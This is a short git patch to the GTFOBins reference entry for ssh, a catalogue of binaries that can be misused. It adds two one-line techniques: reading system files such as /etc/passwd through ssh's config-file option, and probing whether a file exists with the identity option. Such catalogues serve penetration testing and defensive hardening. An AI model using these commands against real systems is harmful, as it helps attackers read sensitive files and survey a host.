From c41d58de2adbb6c719af49dd6a1afb4a89b48520 Mon Sep 17 00:00:00 2001 From: Paul Taylor <21125224+bao7uo@users.noreply.github.com> Date: Mon, 28 May 2018 08:44:53 +0100 Subject: [PATCH] Update ssh.md --- _gtfobins/ssh.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/_gtfobins/ssh.md b/_gtfobins/ssh.md index 774a9c2..470326a 100644 --- a/_gtfobins/ssh.md +++ b/_gtfobins/ssh.md @@ -17,4 +17,10 @@ functions: RPATH=where_to_save LPATH=file_to_send ssh $HOST "cat > $RPATH" < $LPATH + read file: + - description: Read strings from text files. Reliability depends on content of files but works well with /etc/passwd + code: ssh -F /etc/passwd localhost + file exists: + - description: Tests whether a file exists. + code: ssh -i /filename localhost ---